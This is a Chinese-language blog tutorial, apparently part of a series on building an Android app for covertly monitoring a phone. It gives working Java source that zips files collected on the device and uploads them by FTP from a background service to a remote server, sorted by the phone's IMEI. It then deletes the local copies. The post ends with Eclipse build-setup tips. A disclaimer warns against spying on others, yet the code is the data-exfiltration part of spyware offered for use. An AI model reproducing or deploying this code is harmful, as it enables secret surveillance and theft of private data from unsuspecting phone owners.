(此項目只作爲學習交流使用,切不可去監聽他人隱私,否則後果自負)
繼續上次。
安卓FTP協議發送文件到服務器
在這個項目中需要把文件發送到ftp服務器,這就需要在手機客戶端中,以ftp的方式去連接。
通過FTP的方式來傳輸文件,可以確保文件在傳輸過程中不會因爲文件太大,造成傳輸超時或數據上傳不完整的情況。
這裏推薦一個支持ftp的免費空間服務商 www.nanoyun.com
這裏實現FTP的功能需要Apache所提供的Commons Net API。官方下載地址http://commons.apache.org/proper/commons-net/download_net.cgi
我用的 是3.3版本
大致說一下這個模塊的代碼文件結構
一共3個java文件
一個ftphelper 類 該類提供了連接服務器,關閉連接,發送文件等方法
一個發送文件類,該類提供了網絡連接判斷,等
一個後臺服務類,作爲一個服務在後臺一直運行,開啓另外一個線程發送文件(之後講)
話不多說,直接上代碼吧
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import org.apache.commons.net.ftp.FTPClient;
import org.apache.commons.net.ftp.FTPReply;
import android.util.Log;
/**
* FTP上傳文件類
* @author lookingfor
*
*/
public class FtpHelper {
/**
* 服務器名.
*/
private String hostName;
/**
* 用戶名.
*/
private String userName;
/**
* 密碼.
*/
private String password;
/**
* FTP連接.
*/
private FTPClient ftpClient;
/**
* 新建文件夾名
*/
private String dirName;
/**
* TAG
*/
private String TAG = "MyListener";
/**
* 構造函數.
*
* @param host hostName 服務器名
* @param user userName 用戶名
* @param pass password 密碼
*/
public FtpHelper(String host, String user, String pass) {
this.hostName = host;
this.userName = user;
this.password = pass;
this.ftpClient = new FTPClient();
}
/**
* 打開FTP服務.
*
*/
public boolean openConnect() {
boolean flag = true;
// 編碼格式爲UTF-8
ftpClient.setControlEncoding("UTF-8");
int reply; // 服務器響應值
try {
// 連接至服務器
ftpClient.setDefaultPort(21);//默認端口21
ftpClient.setDefaultTimeout(30000);
ftpClient.connect(hostName);
// 獲取響應值
reply = ftpClient.getReplyCode();
if (!FTPReply.isPositiveCompletion(reply)) {
// 斷開連接
ftpClient.disconnect();
Log.i(TAG, "connect failed " + reply);
return flag = false;
}
// 登錄到服務器
ftpClient.login(userName, password);
// 獲取響應值
reply = ftpClient.getReplyCode();
if (!FTPReply.isPositiveCompletion(reply)) {
// 斷開連接
ftpClient.disconnect();
Log.i(TAG, "login failed " + reply);
return flag = false;
} else {
// 使用被動模式設爲默認
ftpClient.enterLocalPassiveMode();
// 以二進制文件發送
ftpClient.setFileType(org.apache.commons.net.ftp.FTP.BINARY_FILE_TYPE);
Log.i(TAG, "login");
return flag;
}
} catch (Exception e) {
// TODO: handle exception
Log.i(TAG, "connect failed message: " + e);
return flag = false;
}
}
/**
* 關閉FTP服務.
*
*/
public void closeConnect() {
if (ftpClient != null) {
try {
ftpClient.logout();
// 斷開連接
ftpClient.disconnect();
Log.i(TAG, "logout");
} catch (Exception e) {
// TODO: handle exception
Log.i(TAG, "logout failed message : " + e);
}
}
}
/**
* 在FTP上創建文件夾
* @param dirname
* @return成功返回true;
*/
public boolean createDirectory(String dirname) {
boolean flag = true;
this.dirName = dirname;
try {
ftpClient.makeDirectory(dirName);
return flag;
} catch (Exception e) {
Log.i(TAG, "failed message : "+e);
closeConnect();
return flag = false;
}
}
/**
* 更改ftp工作目錄
* @param dirname
* @return
*/
public boolean changeDir(String dirname){
this.dirName = dirname;
try {
ftpClient.changeWorkingDirectory(dirName);
return true;
} catch (Exception e) {
// TODO: handle exception
Log.i(TAG, "changedir failed message: " + e);
closeConnect();
return false;
}
}
/**
* 上傳文件.
*
* @param localFile 本地文件
* @return true上傳成功, false上傳失敗
*/
public boolean uploadingSingle(File localFile) {
boolean flag = true;
try {
// 創建輸入流
InputStream inputStream = new FileInputStream(localFile);
// 上傳單個文件
flag = ftpClient.storeFile(localFile.getName(), inputStream);
// 關閉文件流
inputStream.close();
Log.i(TAG, "upload success");
return flag;
} catch (Exception e) {
// TODO: handle exception
Log.i(TAG, "upload failed message: " + e);
return flag = false;
}
}
}
下面接着是
SendFiles.java
import java.io.File;
import java.util.ArrayList;
import com.android.snake.Config;
import com.android.snake.function.FileCompress;
import com.android.snake.function.Util;
import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.util.Log;
/**
* 發送文件模塊類
* @author lookingfor
*
*/
public class SendFiles {
/**
* TAG
*/
private static final String TAG = "MyLinster";
/**
* ftp 服務器地址
*/
private String host;
public void setHost(String host) {
this.host = host;
}
public String getHost() {
return host;
}
/**
* 登錄ftp用戶名
*/
private String username;
public void setUsername(String username) {
this.username = username;
}
public String getUsername() {
return username;
}
/**
* 登錄ftp用戶密碼
*/
private String psd;
public String getPsd() {
return psd;
}
public void setPsd(String psd) {
this.psd = psd;
}
/**
* ftp新建文件夾目錄名
*/
private String dirname;
/**
* 獲取FTP對應文件名,沒有則創建
* @return
*/
public String getDirname() {
if (isNeedToCreateDir(FTPFILEDIRNAME_KEY)) {
mConfig.setConfig(FTPFILEDIRNAME_KEY, mUtil.getPhoneIMEI());
}
dirname = mConfig.getConfig(FTPFILEDIRNAME_KEY);
return dirname;
}
/**
* 配置文件第一次啓動標誌key
*/
private static final String ISFIRSTUSE_KEY = "ISFIRSTUSE";
private static final String FTPFILEDIRNAME_KEY = "FTPFILEDIRNAME";
/**
* FtpHelper 對象
*/
private FtpHelper mFtpHelper;
private Context mContext;
Config mConfig;
Util mUtil;
public SendFiles(Context context) {
// TODO Auto-generated constructor stub
mContext = context;
mConfig = new Config(mContext);
mUtil = new Util(mContext);
}
/**
* 判斷網絡是否可用,包括wifi和卡數據
* @param context
* @return 可用爲true
*/
public boolean isNetworkAvailable() {
if (mContext != null) {
ConnectivityManager connectivity = (ConnectivityManager) mContext
.getSystemService(Context.CONNECTIVITY_SERVICE);
if (connectivity != null) {
NetworkInfo[] info = connectivity.getAllNetworkInfo();
if (info != null)
for (int i = 0; i < info.length; i++)
if (info[i].getState() == NetworkInfo.State.CONNECTED) {
return true;
}
}
return false;
//return true;
}
Log.i(TAG, "沒有獲取到context 網絡不可用!");
return false;
}
/**
* 是否需要創建文件夾在ftp服務器
* @param key
* @return
*/
private boolean isNeedToCreateDir(String key){
if ("0".equals(mConfig.getConfig(key))) {
return true;
}else {
return false;
}
}
/**
* 獲取文件
* @return
*/
private ArrayList getFile(){
ArrayList filelist = FileCompress.getFileList("sdcard/1101/","zip");
if(filelist != null){
Log.i(TAG, "獲取要發送的文件列表成功");
return filelist;
}
else {
Log.i(TAG, "獲取要發送的文件列表失敗");
return filelist;
}
//return FileCompress.getFileList("sdcard/1101/","zip").get(0);
}
/**
* 對外提供方法,開始發送文件,發送完成後刪除文件
*/
public boolean startSendFiles(ArrayList filelist) {
boolean flag = false;
String dirnameString = getDirname();
//連接登錄ftp
mFtpHelper = new FtpHelper(getHost(), getUsername(), getPsd());
Log.i(TAG, "服務器ip:" + getHost() + "用戶名:" + getUsername() + "密碼: " + getPsd());
if (!mFtpHelper.openConnect()) {
return flag;
}
//是否第一次上傳,如果是則創建目錄並寫配置文件
if (isNeedToCreateDir(ISFIRSTUSE_KEY)) {
if(mFtpHelper.createDirectory(dirnameString)){
mConfig.setConfig(ISFIRSTUSE_KEY, "1");
}else {
return flag;
}
}
//轉換工作區目錄
if (!mFtpHelper.changeDir(dirnameString)) {
return flag;
}
// 上傳文件
if (!filelist.isEmpty()) {
int count = 0;
for (File file : filelist) {
count++;
if (mFtpHelper.uploadingSingle(file)) {
Log.i(TAG, "已上傳完成第" + count + "個文件");
if(file.delete()){
Log.i(TAG, "刪除已上傳完成的第" + count + "個文件成功");
}
flag = true;
}else {
Log.i(TAG, "上傳第" + count + "個文件失敗,開始進行下一次上傳如果隊列中還有文件的話");
flag = false;
}
}
}
mFtpHelper.closeConnect();
return flag;
}
}
這上一段代碼中,有判斷是否第一次運行程序,這裏實現 的方式下篇再講。
不過對於ftp還要注意的是,在添加引用 和編譯調試的時候也會遇到錯誤,下面就再講一下,如何在eclipse裏添加引用,並且成功否編譯吧
添加引用:右鍵項目文件夾 --選擇Build Path --選擇 Add Librarlies
在彈出的對話框中 選擇User Library 點擊 Next ----點擊User Libraries
在彈出的對話框中 選擇 New...
輸入 名稱(隨便你輸入)不要選擇下面的System Library 點擊ok
然後 列表裏就多了你新建的library 然後 選中 點擊右邊的 Add External JARs....
選擇 commons-net-3.3.jar 點擊 ok
添加引用到 libs文件夾
在項目中找到 libs文件夾,把 commons-net-3.3.jar直接拖進去,右鍵文件夾 選擇Build Path --- Use as Source Folder
這樣編譯的時候 就會把這個jar包 放到apk裏
關於編譯報錯的解決
報錯信息:
Unable to execute dex: Multiple dex files define Landroid/support/annotation/AnimRes;
Conversion to Dalvik format failed: Unable to execute dex: Multiple dex files define Landroid/support/annotation/AnimRes;
解決方法
右鍵項目文件夾 選擇 Properties --選擇左側的 Java Build Path 在Libraries選項卡中 Remove 掉 Android Dependencies 和Android Private Libraries兩項 然後再編譯就好了。